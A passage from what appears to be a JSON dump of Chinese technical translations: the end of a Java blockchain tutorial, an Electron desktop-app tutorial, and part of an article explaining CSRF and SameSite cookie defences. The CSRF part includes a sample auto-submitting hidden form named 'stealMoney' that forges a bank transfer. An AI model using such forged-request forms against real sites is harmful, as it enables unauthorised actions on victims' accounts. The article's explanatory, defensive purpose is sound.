哈哈！每个想要的我们都造出来了，现在我们的区块链上已经能进行交易了！\n\n![](https://cdn-images-1.medium.com/max/800/1*QaHN-AsCPEzAlU-3ulbO-Q.gif)\n\n### **7. 厉害地总结下(一开始的时候只有菜鸟币)：**\n\n现在应该测试从钱包里发送出去菜鸟币或通过钱包接收菜鸟币，并更新区块链的合法性检查。但首先我们要找到如何把新挖的菜鸟币整合到系统中的办法，有很多途径去生成新币，拿比特币的区块链来说：矿工可以把一个交易变成自己的一部分，作为区块被挖出来时的奖励。现在的话，我们就只是在第一个区块（创始区块）放出一定数量的币，满足我们项目需要即可。像比特币一样，我们会硬编码创始区块，写一个固定的值。\n\n让我们完整地更新 NoobChain 类：\n\n* 一个创始区块，发了 100 个菜鸟币给钱包 A。\n* 因为增加了交易部分，更新了区块链的合法性检查。\n* 一些测试类交易去验证是否正常运作。\n\n```\npublic class NoobChain {\n\t\n\tpublic static ArrayList<Block> blockchain = new ArrayList<Block>();\n\tpublic static HashMap<String,TransactionOutput> UTXOs = new HashMap<String,TransactionOutput>();\n\t\n\tpublic static int difficulty = 3;\n\tpublic static float minimumTransaction = 0.1f;\n\tpublic static Wallet walletA;\n\tpublic static Wallet walletB;\n\tpublic static Transaction genesisTransaction;\n\n\tpublic static void main(String[] args) {\t\n\t\t//添加我们的区块到区块链 ArrayList中\n\t\tSecurity.addProvider(new org.bouncycastle.jce.provider.BouncyCastleProvider()); //设置 Bouncey castle 为 Security Provider\n\t\t\n\t\t//生成钱包\n\t\twalletA = new Wallet();\n\t\twalletB = new Wallet();\t\t\n\t\tWallet coinbase = new Wallet();\n\t\t\n\t\t//生成创始交易，内容是发送100个菜鸟币到 walletA\n\t\tgenesisTransaction = new Transaction(coinbase.publicKey, walletA.publicKey, 100f, null);\n\t\tgenesisTransaction.generateSignature(coinbase.privateKey);\t //手动对创始交易签名\n\t\tgenesisTransaction.transactionId = \"0\"; //手动设置交易 id\n\t\tgenesisTransaction.outputs.add(new TransactionOutput(genesisTransaction.reciepient, genesisTransaction.value, genesisTransaction.transactionId)); //手动添加交易输出\n\t\tUTXOs.put(genesisTransaction.outputs.get(0).id, genesisTransaction.outputs.get(0)); //在 UTXO list 里面保存第一个交易很重要\n\t\t\n\t\tSystem.out.println(\"Creating and Mining Genesis block... \");\n\t\tBlock genesis = new Block(\"0\");\n\t\tgenesis.addTransaction(genesisTransaction);\n\t\taddBlock(genesis);\n\t\t\n\t\t//测试\n\t\tBlock block1 = new Block(genesis.hash);\n\t\tSystem.out.println(\"\\nWalletA's balance is: \" + walletA.getBalance());\n\t\tSystem.out.println(\"\\nWalletA is Attempting to send funds (40) to WalletB...\");\n\t\tblock1.addTransaction(walletA.sendFunds(walletB.publicKey, 40f));\n\t\taddBlock(block1);\n\t\tSystem.out.println(\"\\nWalletA's balance is: \" + walletA.getBalance());\n\t\tSystem.out.println(\"WalletB's balance is: \" + walletB.getBalance());\n\t\t\n\t\tBlock block2 = new Block(block1.hash);\n\t\tSystem.out.println(\"\\nWalletA Attempting to send more funds (1000) than it has...\");\n\t\tblock2.addTransaction(walletA.sendFunds(walletB.publicKey, 1000f));\n\t\taddBlock(block2);\n\t\tSystem.out.println(\"\\nWalletA's balance is: \" + walletA.getBalance());\n\t\tSystem.out.println(\"WalletB's balance is: \" + walletB.getBalance());\n\t\t\n\t\tBlock block3 = new Block(block2.hash);\n\t\tSystem.out.println(\"\\nWalletB is Attempting to send funds (20) to WalletA...\");\n\t\tblock3.addTransaction(walletB.sendFunds( walletA.publicKey, 20));\n\t\tSystem.out.println(\"\\nWalletA's balance is: \" + walletA.getBalance());\n\t\tSystem.out.println(\"WalletB's balance is: \" + walletB.getBalance());\n\t\t\n\t\tisChainValid();\n\t\t\n\t}\n\t\n\tpublic static Boolean isChainValid() {\n\t\tBlock currentBlock; \n\t\tBlock previousBlock;\n\t\tString hashTarget = new String(new char[difficulty]).replace('\\0', '0');\n\t\tHashMap<String,TransactionOutput> tempUTXOs = new HashMap<String,TransactionOutput>(); //对给定的区块状态，一个临时的未花费交易输出list\n\t\ttempUTXOs.put(genesisTransaction.outputs.get(0).id, genesisTransaction.outputs.get(0));\n\t\t\n\t\t//循环区块链去检查哈希值\n\t\tfor(int i=1; i < blockchain.size(); i++) {\n\t\t\t\n\t\t\tcurrentBlock = blockchain.get(i);\n\t\t\tpreviousBlock = blockchain.get(i-1);\n\t\t\t//比较当前区块存储的哈希值和计算得出的哈希值\n\t\t\tif(!currentBlock.hash.equals(currentBlock.calculateHash()) ){\n\t\t\t\tSystem.out.println(\"#Current Hashes not equal\");\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t//比较前一个区块的哈希值和当前区块中存储的上一个区块哈希值\n\t\t\tif(!previousBlock.hash.equals(currentBlock.previousHash) ) {\n\t\t\t\tSystem.out.println(\"#Previous Hashes not equal\");\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t//检查哈希值是否解出来了\n\t\t\tif(!currentBlock.hash.substring( 0, difficulty).equals(hashTarget)) {\n\t\t\t\tSystem.out.println(\"#This block hasn't been mined\");\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t\t//循环区块链交易\n\t\t\tTransactionOutput tempOutput;\n\t\t\tfor(int t=0; t <currentBlock.transactions.size(); t++) {\n\t\t\t\tTransaction currentTransaction = currentBlock.transactions.get(t);\n\t\t\t\t\n\t\t\t\tif(!currentTransaction.verifiySignature()) {\n\t\t\t\t\tSystem.out.println(\"#Signature on Transaction(\" + t + \") is Invalid\");\n\t\t\t\t\treturn false; \n\t\t\t\t}\n\t\t\t\tif(currentTransaction.getInputsValue() != currentTransaction.getOutputsValue()) {\n\t\t\t\t\tSystem.out.println(\"#Inputs are note equal to outputs on Transaction(\" + t + \")\");\n\t\t\t\t\treturn false; \n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tfor(TransactionInput input: currentTransaction.inputs) {\t\n\t\t\t\t\ttempOutput = tempUTXOs.get(input.transactionOutputId);\n\t\t\t\t\t\n\t\t\t\t\tif(tempOutput == null) {\n\t\t\t\t\t\tSystem.out.println(\"#Referenced input on Transaction(\" + t + \") is Missing\");\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif(input.UTXO.value != tempOutput.value) {\n\t\t\t\t\t\tSystem.out.println(\"#Referenced input Transaction(\" + t + \") value is Invalid\");\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\ttempUTXOs.remove(input.transactionOutputId);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tfor(TransactionOutput output: currentTransaction.outputs) {\n\t\t\t\t\ttempUTXOs.put(output.id, output);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif( currentTransaction.outputs.get(0).reciepient != currentTransaction.reciepient) {\n\t\t\t\t\tSystem.out.println(\"#Transaction(\" + t + \") output reciepient is not who it should be\");\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\tif( currentTransaction.outputs.get(1).reciepient != currentTransaction.sender) {\n\t\t\t\t\tSystem.out.println(\"#Transaction(\" + t + \") output 'change' is not sender.\");\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\tSystem.out.println(\"Blockchain is valid\");\n\t\treturn true;\n\t}\n\t\n\tpublic static void addBlock(Block newBlock) {\n\t\tnewBlock.mineBlock(difficulty);\n\t\tblockchain.add(newBlock);\n\t}\n}\n```\n\n这些是比较长的方法 。。。\n\n我们的输出应该是像这样的：\n\n![](https://cdn-images-1.medium.com/max/800/1*OV1rMcvs_m_gKF5yyR6PQw.png)\n\n现在钱包已经可以在你的区块链上安全地发送资金，当然前提是得有钱。这意味着你已经拥有了自己的本地化加密货币了。\n\n### 你现在已经实现了你区块链的交易部分！\n\n![](https://cdn-images-1.medium.com/max/800/1*9K4pVMSdI7A0YZH-g47I2w.gif)\n\n你已经成功造出你自己的加密货币（部分完成）。 你现在的区块链可以：\n\n* 允许用户用 new Wallet() 的方式生成钱包。\n* 提供采用椭圆曲线加密方式对公钥和私钥进行加密的钱包。\n* 通过一个数字签名算法证明资金所有权，保护资金的传输过程。\n* 最后允许用户通过 Block.addTransaction(walletA.sendFunds( walletB.publicKey, 20)) 在你的区块链上发起交易。\n\n* * *\n\n你可以在 [Github](https://github.com/CryptoKass/NoobChain-Tutorial-Part-2/tree/master/src/noobchain) 上面下载这个项目。\n\n![](https://cdn-images-1.medium.com/max/800/1*ZbFDb_ml08yDSRXyzhFGxA.gif)\n\n你可以**关注我**，以便下一个教程或其它区块链开发文章发布的时候**收到通知**。很重视你们的任何反馈意见。谢谢。 \n\n### 用 Java 实现你的第一个区块链。 第三部分:\n\n我们接下来会讲 P2P 网络的部分，**共识算法**，**区块存储和数据库**。(很快就会发布)\n\n联系我： kassCrypto@gmail.com **问题交流**：[https://discord.gg/ZsyQqyk](https://discord.gg/ZsyQqyk)（我在 discord 上面的区块链开发者俱乐部）\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/creating-your-first-desktop.md",
    "content": "> * 原文链接 : [Creating Your First Desktop App With HTML, JS and Electron | Tutorialzine](http://tutorialzine.com/2015/12/creating-your-first-desktop-app-with-html-js-and-electron/)\n* 原文作者 : [Danny Markov](http://tutorialzine.com/category/tutorials/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Zhangdroid](https://github.com/Zhangdroid)\n* 校对者: [void-main](https://github.com/void-main)、[根号三](https://github.com/sqrthree)\n* 状态 :  完成\n\nWeb 应用这些年来变得越来越强大，但相比于桌面应用能够完全访问计算机硬件，Web 应用还有一些差距。现在，你能够通过已经熟悉了的HTML、JavaScript 和 Node.js 来创建桌面应用，然后打包成可执行文件，并在 Windows、OS X 和 Linux 上发布它。\n\n目前已经有两个流行的开源项目实现了这个想法。首先是 [NW.js](http://nwjs.io/)，[我们在几个月前讨论过它](http://tutorialzine.com/2015/01/your-first-node-webkit-app/ \"Creating Your First Desktop App With HTML, JS and Node-WebKit\")；然后是更新一些的 [Electron](http://electron.atom.io/), 也就是我们今天所使用到的（可以在[这里](https://github.com/atom/electron/blob/master/docs/development/atom-shell-vs-node-webkit.md)查看它与 NW.js 的不同之处）。我们将用 Electron 重写旧的 NW.js 版本的应用，这样你就能轻易的对比它们了。\n\n### Electron 入门\n\n使用 Electron 创建的应用其实就是一个在内嵌的 Chromium 浏览器中打开的 Web 网站。除了常规的 HTML5 API，(这些网站)还可以使用任意的 Node.js 模块和一些 Electron 特有的模块来访问操作系统。\n\n在整个教程中，我们将创建一个简单的应用：它能够通过 RSS 获取到 Tutorialzine 上最近的文章，并通过一个看起来很酷的轮播效果来展示它们。所有需要的文件已经打包好，**[点击这里](http://demo.tutorialzine.com/2015/12/creating-your-first-desktop-app-with-html-js-and-electron/creating-your-first-desktop-app-with-electron.zip)**下载。\n\n把它解压到你想要的地方。从项目结构上看，你一定猜不到这不仅仅是一个简单的网站，而且是一个桌面应用程序。\n\n![项目结构](http://cdn.tutorialzine.com/wp-content/uploads/2015/12/electron-app-tree.png)\n\n项目结构\n\n\n我们一会儿会更仔细的看看这些有趣的文件，了解它们的原理。不过在此之前，先让我们把应用跑起来吧。\n\n### 运行应用\n\n由于 Electron 是一个优秀的 Node.js 应用，所以你必须安装 [npm](https://www.npmjs.com/)。 你可以轻松的在[这里](http://blog.npmjs.org/post/85484771375/how-to-install-npm)学习到如何安装它。\n\n完成之后，在项目目录下打开 cmd 或者终端，运行下面的命令：\n\n```\nnpm install\n```\n\n它将会创建 **node_modules** 文件夹来存放这个应用运行所需的所有 Node.js 依赖。 一切都没问题的话在同一个终端下输入下面的命令：\n\n```\nnpm start\n```\n\n你所创建的应用应该会在一个独立的窗口中打开。可以注意到它有一个顶部菜单栏和其他的一些部分！\n\n![Electron App In Action](http://cdn.tutorialzine.com/wp-content/uploads/2015/12/electron_app_1.png)\n\nElectron 实战\n\n\n\n你可能注意到打开这个应用的方式对用户并不友好。但这仅仅是开发者打开它的方式，当它面向公众被打包好之后, 就可以像一般的应用一样安装，并通过双击图标来打开它。\n\n### 如何工作\n\n在这部分，我们将讨论所有 Electron 应用中最重要的一些文件。首先是 package.json，它包含有关项目的各种信息，比如版本、npm 依赖和其他重要设置。\n\n#### package.json\n\n```\n{\n  \"name\": \"electron-app\",\n  \"version\": \"1.0.0\",\n  \"description\": \"\",\n  \"main\": \"main.js\",\n  \"dependencies\": {\n    \"pretty-bytes\": \"^2.0.1\"\n  },\n  \"devDependencies\": {\n    \"electron-prebuilt\": \"^0.35.2\"\n  },\n  \"scripts\": {\n    \"start\": \"electron main.js\"\n  },\n  \"author\": \"\",\n  \"license\": \"ISC\"\n}\n```\n\n如果以前用过 node.js，那么你已经知道它是如何工作的了。最重要的是注意这里的 **scripts** 属性，它定义了 `npm start` 命令，这条命令能够让我们像之前那样运行应用。当我们执行这条命令时，我们其实是在要求 electron 去运行 **main.js** 这个文件。这个 JS 文件包括一些简短的脚本：打开应用的窗口、定义一些设置和一些事件的处理。 \n\n#### main.js\n\n```\nvar app = require('app');  // 控制应用生命周期的模块。\nvar BrowserWindow = require('browser-window');  // 创建原生浏览器窗口的模块\n\n// 保持一个对于 window 对象的全局引用，不然，当 JavaScript 被 \"垃圾回收机制\" 回收，\n// 窗口会被自动地关闭\nvar mainWindow = null;\n\n// 当所有窗口被关闭了，退出。\napp.on('window-all-closed', function() {\n  // 在 OS X 上，通常用户在明确地按下 Cmd + Q 之前\n  // 应用会保持活动状态\n  if (process.platform != 'darwin') {\n    app.quit();\n  }\n});\n\n// 当 Electron 完成了初始化并且准备创建浏览器窗口的时候\n// 这个方法就被调用\napp.on('ready', function() {\n  // 创建浏览器窗口。\n  mainWindow = new BrowserWindow({width: 900, height: 600});\n\n  // 加载应用的 index.html\n  mainWindow.loadURL('file://' + __dirname + '/index.html');\n\n\n  // 当 window 被关闭，这个事件会被发出\n  mainWindow.on('closed', function() {\n    // 取消引用 window 对象，如果你的应用支持多窗口的话，\n    // 通常会把多个 window 对象存放在一个数组里面，\n    // 但这次不是。\n    mainWindow = null;\n  });\n});\n```\n\n观察一下我们在“ready”方法中做的事情。首先我们定义一个浏览器窗口并给它了初始化的大小，然后我们在它里面载入了  **index.html** 这个文件，效果和你在浏览器里打开它差不多。\n\n正如你所看到的，这个 HTML 文件没有什么特别的 – 一个图片轮播和一段显示 CPU 和 RAM 统计数据的文字被包含在容器之中。\n#### index.html\n\n```\n\n\n    <meta charset=\"utf-8\">\n    <meta content=\"width=device-width, initial-scale=1\">\n\n    <title>Tutorialzine Electron Experiment</title>\n\n    <link rel=\"stylesheet\" href=\"./css/jquery.flipster.min.css\">\n    <link rel=\"stylesheet\" href=\"./css/styles.css\">\n\n<!-- 在 Electron中，应该这样引入 jQuery -->\n<script>window.$ = window.jQuery = require('./js/jquery.min.js');</script>\n\n```\n\n这个 HTML 文件同样也引入了所需的 CSS 文件、JS库和其它的脚本。注意，jQuery 需要以一种奇怪的方式引入。更多相关信息可以参考[这里](http://stackoverflow.com/questions/32621988/electron-jquery-is-not-defined)。\n\n最后，这是这个应用实际的 Javascript 文件。在这里面，我们访问 Tutorialzine 的 RSS 源，获取最新的文章并把它们显示出来。直接在浏览器中这样做是没有效果的，因为从不同的域名获取 RSS 订阅是被禁止的（参见[同源策略](https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy)）。但在 Electron 中并没有这个限制，我们可以通过 AJAX 请求轻松的获取到我们想要的信息。\n\n```\n$(function(){\n\n    // 显示有关该计算机的一些统计数据，使用的是 node 的 os 模块。\n\n    var os = require('os');\n    var prettyBytes = require('pretty-bytes');\n\n    $('.stats').append('Number of cpu cores: ' + os.cpus().length + '');\n    $('.stats').append('Free memory: ' + prettyBytes(os.freemem())+ '');\n\n    // Electron 的 UI 库。我们在之后会用到它。\n\n    var shell = require('shell');\n\n    // 从 Tutorialzine 上获取最近的文章。\n\n    var ul = $('.flipster ul');\n\n    // Electron 并没有采用同源安全策略, 所以我们能够\n    // 发送 ajax 请求给其它网站。让我们获取 Tutorialzine 的 RSS 订阅：\n\n    $.get('http://feeds.feedburner.com/Tutorialzine', function(response){\n\n        var rss = $(response);\n\n        // 在 RSS 订阅中找到所有的文章：\n\n        rss.find('item').each(function(){\n            var item = $(this);\n\n            var content = item.find('encoded').html().split('')[0]+'';\n            var urlRegex = /(http|ftp|https):\\/\\/[\\w\\-_]+(\\.[\\w\\-_]+)+([\\w\\-\\.,@?^=%&:/~\\+#]*[\\w\\-\\@?^=%&/~\\+#])?/g;\n\n            // 获取文章的第一幅图。\n            var imageSource = content.match(urlRegex)[1];\n\n            // 为每一篇文章创建一个 li 元素，并把它追加到 ul 中。\n            var li = $('*   <a target=\"_blank\"></a>');\n\n            li.find('a')\n                .attr('href', item.find('link').text())\n                .text(item.find(\"title\").text());\n\n            li.find('img').attr('src', imageSource);\n\n            li.appendTo(ul);\n\n        });\n\n        // 初始化 flipster 插件。\n\n        $('.flipster').flipster({\n            style: 'carousel'\n        });\n\n        // 当一篇文章被点击时，用系统默认的浏览器打开它，\n        // 否则的话会用 electron 的窗口打开它，这不是我们想要的结果。\n\n        $('.flipster').on('click', 'a', function (e) {\n\n            e.preventDefault();\n\n            // 使用系统默认的浏览器打开 URL。\n\n            shell.openExternal(e.target.href);\n\n        });\n\n    });\n\n});\n```\n\n上面的代码里有一件很酷的事情，在一个文件中我们同时使用了：\n\n*   JavaScript 库 – 使用 jQuery 和 [jQuery Flipster](https://github.com/drien/jquery-flipster) 来实现图片轮播。\n*   Electron 原生模块 – Shell 提供了一些桌面任务相关的 API，在这里我们通过它使用了系统默认的浏览器打开 URL。\n*   Node.js 模块 – 使用 [OS](https://nodejs.org/api/os.html) 来获取系统的内存信息，使用 [Pretty Bytes](https://www.npmjs.com/package/pretty-bytes) 格式化它们。\n\n就这样我们的应用已经准备好了！\n\n### 打包和发布\n\n还有一件重要的事情：让你的应用准备好面对最终的用户。你需要把它打包成一个在用户电脑上双击就可以使用的可执行文件。由于 Electron 应用能够在多个操作系统上运行，每个操作系统又各不相同，所以需要为 Windows、Linux和 OS X 分别打包。使用像这个 npm 模块一样的工具可以很好的帮助你开始 – [Electron Packager](https://github.com/maxogden/electron-packager).\n\n考虑到要将所有的资源文件、所有需要的 npm 模块、以及一个迷你的 WebKit 浏览器打包进一个可执行文件，所有的这些打包完后（的大小约）有 50MB。对于像这样一个简单的应用来说这是相当大的了，是不现实的。但当我们创建更大、更复杂的应用时，这个问题就变的无关紧要了。\n\n### 结论\n\n通过我们的例子，你可以看到 NW.js 与 Electron 最主要的不同是：NW.js 直接打开了一个 HTML页面；而 Electron 是通过 JavaScript 文件启动并通过代码来创建应用程序窗口。 Electron 的方式给了你更多控制的权利，你能够轻松地创建多窗口应用程序并组织它们之间的通信。\n\n总而言之 Electron 是一种非常令人激动的通过 Web 技术来创建桌面应用的方式。这是你接下来可能需要阅读的内容：\n\n* [Electron 快速入门](https://github.com/atom/electron/blob/master/docs-translations/zh-CN/tutorial/quick-start.md)\n* [Electron 文档](https://github.com/atom/electron/tree/master/docs-translations/zh-CN)\n* [使用 Electron 创建的应用](http://electron.atom.io/#built-on-electron)\n"
  },
  {
    "path": "TODO/csrf-is-dead.md",
    "content": "> * 原文链接：[Cross-Site Request Forgery is dead!](https://scotthelme.co.uk/csrf-is-dead/?utm_source=webopsweekly&utm_medium=email)\n* 原文作者：[Scott](https://scotthelme.co.uk/author/scott/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[XatMassacrE](https://github.com/XatMassacrE)\n* 校对者：[newbieYoung](https://github.com/newbieYoung)，[DeadLion](https://github.com/DeadLion)\n\n## 跨站请求伪造已死！##\n\n在连续不断的被跨站请求伪造折磨了这么多年后，我们现在终于有了一个合理的解决方案。一个对网站拥有者没有技术负担、实施起来没有难度、部署又非常简单的方案，它就是 Same-Site Cookies。\n\n#### 和互联网历史一样悠久的跨站请求伪造 ####\n\n跨站请求伪造（又被称为 CSRF 或者 XSRF ）似乎一直都存在着。它源自一个网站必须向另一个网站发出请求的简单功能。比如像在页面中嵌入下面的表单代码。\n\n```\n<form action=\"https://your-bank.com/transfer\" method=\"POST\" id=\"stealMoney\">  \n<input type=\"hidden\" name=\"to\" value=\"Scott Helme\">  \n<input type=\"hidden\" name=\"account\" value=\"14278935\">  \n<input type=\"hidden\" name=\"amount\" value=\"£1,000\">  \n```\n\n当你的浏览器载入这个页面之后，上面的表单将会由一个简单的 JS 片段来实现提交。\n\n```\ndocument.getElementById(\"stealMoney\").submit();  \n\n```\n\n这就是被称作 CSRF 的来历。我伪造了一个跨站到你的银行网站的请求。这个问题的关键不是我发送了请求，而是你的浏览器通过这个请求发送了你的 cookies。此时，你当前拥有的全部验证信息也会通过这个请求发送，这就意味着你登录你的银行账户并且捐助了我 £1,000 。谢谢啊！那么当你没有登录的时候，这个请求对你就没有什么影响了，因为你不登录是无法转账的。不过对于银行来说，他们现在采用的下面几种办法可以在一定程度上防御 CSRF 攻击。\n\n#### 缓解 CSRF ####\n\n关于缓解 CSRF 这里就不详细展开讲了，因为网上关于这个话题已经有大量的信息了，但是我仍然会快速的过一遍顺便展示一下实现他们都需要哪些技术。\n\n##### 检查 origin #####\n\n当我们收到一个请求时，关于这个请求的来源有两个地方的信息对我们来说是有用的。一个是 Origin header，另一个是 Referer header。你可以检查他们中的一个或者两个的值来判定对于你的网站来说他们是不是来自一个不同的域。如果这个请求是跨域的，那么你把它丢掉就可以了。Origin 和 Referer header 会在浏览器端做一些保护措施来阻止被纂改，但是这并不总是有效的。\n\n```\naccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  \naccept-encoding: gzip, deflate, br  \ncache-control: max-age=0  \ncontent-length: 166  \ncontent-type: application/x-www-form-urlencoded  \ndnt: 1  \norigin: https://report-uri.io  \nreferer: https://report-uri.io/login  \nupgrade-insecure-requests: 1  \nuser-agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36  \n\n```\n\n##### Anti-CSRF tokens #####\n\n通常情况下你可以通过两种方法来实现 Anti-CSRF tokens，但是它们的原理是一样的。当一个游客请求一个页面时，类似于上面提到的转账页面，你可以在表单中嵌入一个随机的token。当真正的用户提交表单的时，你就会收到表单的随机 token，这样你就可以通过之前嵌入的那个随机 token 来校验了。在 CSRF 攻击场景中，攻击者永远都不可能拿到这个值甚至在攻击者可以请求到页面的情况也无法拿到，因为同源策略（SOP）会阻止攻击者从包含 token 的响应中读取内容。这个方法在实际运用中很不错，但是它需要网站追踪每一个请求并且返回 Anti-CSRF tokens。还有一个类似的在表单中嵌入 token 的方法是给浏览器一个包含相同值的 cookie 来实现的。当网站收到真正的用户提交他们的表单时，cookie 中的值和表单中的值将会相匹配。攻击者通过没有 CSRF cookie 的浏览器发送伪造的请求将会失败。\n\n```\n<form action=\"https://report-uri.io/login/auth\" method=\"POST\">  \n    <input type=\"hidden\" name=\"csrf_token\" value=\"d82c90fc4a14b01224gde6ddebc23bf0\">\n    <input type=\"email\" id=\"email\" name=\"email\">\n    <input type=\"password\" id=\"password\" name=\"password\">\n    <button type=\"submit\" class=\"btn btn-primary\">Login</button>\n</form>  \n```\n\n#### 存在的问题 ####\n\n在很长一段时间，上面的这些方法在面对 CSRF 时给我们提供了强劲的保护。检查 Origin 和 Referer header 并不是 100% 有效的，大部分网站也会通过一些高级的 Anti-CSRF token 方式来防御。问题是，这两种方法都需要网站有一些必要的条件才能实施和维护。虽然这些条件并不是世界上最复杂的技术，但是我们仍然需要建立一个解决办法来让浏览器做一些我们不想让它做的事情。既然这样的话，那么我们为什么不直接告诉浏览器不要做那些我们不想让它们做的事情呢？现在，我们可以了！\n\n#### Same-Site Cookies ####\n\n你或许已经在我最近的博客（ [Tough Cookies](https://scotthelme.co.uk/tough-cookies/)）上看到了一些关于 Same-Site Cookies 的内容，但是在这里我将会用一些例子来深入的讲解。从本质上来讲，Same-Site Cookies 可以完全有效的阻止 CSRF 攻击，是的，CSRF 一点机会都没有。我们在互联网上真正需求的本质就是赢得网络安全的战争，Same-Site Cookies 非常容易部署，是**真的**非常容易。找到你原来的 cookie ：\n\n```\nSet-Cookie: sess=abc123; path=/  \n\n```\n\n添加 SameSite 这个属性。\n\n```\nSet-Cookie: sess=abc123; path=/; SameSite  \n\n```\n\n你已经完成了。严格来讲，就是这样！在 cookie 上启用这个属性将会告诉浏览器给予这个 cookie 确切的保护。你可以通过 Strict 和 Lax 这两种模式来启用这个保护，具体用哪种模式取决于你想要的严格程度。如果在你的 cookie 设置中没有指定模式的话默认将会使用 Strict 模式，但是如果你想的话你可以明确的指定是 Strict 还是 Lax。\n\n```\nSameSite=Strict  \nSameSite=Lax  \n\n```\n\n##### Strict #####\n\n很显然，将你的 SameSite 保护设置为 Strcit 模式是一个更好的选择，但是我们之所以有两个选项的原因是因为不是所有的网站都是一样的并且不是所有的网站都有同样的需求。当我们在 Strict 模式下操作时，浏览器在任何跨域请求中都不会携带 cookie，所以说 CSRF 一点机会都没有。但是问题是，顶级导航（直接在地址栏改变 URL ）的请求都不会携带 cookie。比如说有一个链接地址 [https://facebook.com](https://facebook.com) 并且 Facebook 的 SameSite cookies 的模式为 Strict，当你点击链接打开 Facebook 之后你会发现你无法登录。无论你之前是否登录，在新标签中打开，无论你怎么做，当你从那个链接过来时你都无法登录到 Facebook。这就很烦人了，并且我们的用户也不希望我们提供如此蛋疼的保护。这时候 Facebook 要做的就是向 Amazon 学习，使用两个 cookie。一种是用来验证用户信息和登录操作的 '基础的' cookie，当你想进行一些类似于支付，改变账户信息的敏感操作时就需要第二种 cookie 了，'真正的' cookie 就可以允许你进行一些重要的操作。在这个案例中第一种 cookie 就是一种 '方便的' 不会设置 SameSite 的 cookie，它真的不回允许你进行任何敏感性的操作，即使攻击者通过它来进行跨站请求，什么都不会发生。第二种 cookie 是一种设置了 SameSite 属性的 '敏感的' cookie，攻击者在跨站请求中不会获取它的权限。这对于用户和安全来说就是一种理想的解决方案。然和这种方式的实施性并不强，因为我们希望 SameSite cookies 可以简单的部署，那么我们就需要第二个选项了。\n\n##### Lax #####\n\n将 SameSite 保护设置为 Lax 模式将会解决上面提到的在 Strict 模式下的用户在已经登录的前提下点击链接仍然无法在目标网站登录的问题。在 Lax 模式下有一个例外，就是在顶级导航中使用一个安全的 HTTP 方法发送的请求可以携带 cookie。所谓 \"安全的\" 的 HTTP 方法在 [Section 4.2.1 of RFC 7321](https://tools.ietf.org/html/rfc7231#section-4.2.1) 定义为 GET、HEAD、OPTIONS 和 TRACE，在这里我们只关心 GET 方法，就是我们链接到 [https://facebook.com](https://facebook.com) 的顶级导航就是一个 GET 方法。现在当用户点击一个设置了 SameSite 的链接之后，浏览器就会发送携带 cookie 和一些我们希望的用户信息的请求。同时，我们也防范了基于 POST 方法的 CSRF 攻击。在 Lax 模式下，最开始提到的例子中的攻击手段也无法成功。\n\n```\n<form action=\"https://your-bank.com/transfer\" method=\"POST\" id=\"stealMoney\">  \n<input type=\"hidden\" name=\"to\" value=\"Scott Helme\">  \n<input type=\"hidden\" name=\"account\" value=\"14278935\">  \n<input type=\"hidden\" name=\"amount\" value=\"£1,000\"> \n```\n\n因为 POST 方法被认为是一种不安全的方法，浏览器在请求中是不会携带 cookie 的。那么攻击者当然会想到使用一种 '安全的' 方法来完成同样的请求。\n\n```\n<form action=\"https://your-bank.com/transfer\" method=\"GET\" id=\"stealMoney\">  \n<input type=\"hidden\" name=\"to\" value=\"Scott Helme\">  \n<input type=\"hidden\" name=\"account\" value=\"14278935\">  \n<input type=\"hidden\" name=\"amount\" value=\"£1,000\">  \n```\n\n其实只要我们在接收 POST 请求的地方不接受 GET 请求那么这种攻击方法就会失效，但是在 Lax 模式下还有一些需要注意的点。比如，如果一个攻击者触发一个顶级导航或者弹出一个新的窗口，那么他们就可以让浏览器发送一个携带 cookies 的 GET 请求。这就是在 Lax 模式下需要取舍的地方，我们在保证完整的用户体验的前提下不得不承担一些小的风险。\n\n#### 额外的用途 ####\n\n这篇博客的目标是通过 SameSite Cookies 来缓解 CSRF 攻击，但是，你可能已经猜到了，这种机制还有一些其他的用途。第一个就是跨站脚本包含（XSSI），它是指当浏览器向类似于脚本的资源文件发送请求的时候将会根据用户是否登录而做出改变。在跨站请求的场景中，一个攻击者无法使用 SameSite Cookie 的一些验证信息来造成不同的响应。[这里](https://www.contextis.com/documents/2/Browser_Timing_Attacks.pdf)还有一些有趣的定时攻击的详细信息。\n\n还有一个有趣的用途（不是很详细）是用来对抗在面对浑水猛兽般的攻击手段下 ([CRIME](https://en.wikipedia.org/wiki/CRIME_(security_exploit)), [BREACH](https://en.wikipedia.org/wiki/BREACH_(security_exploit)), [HEIST](https://tom.vg/papers/heist_blackhat2016.pdf), 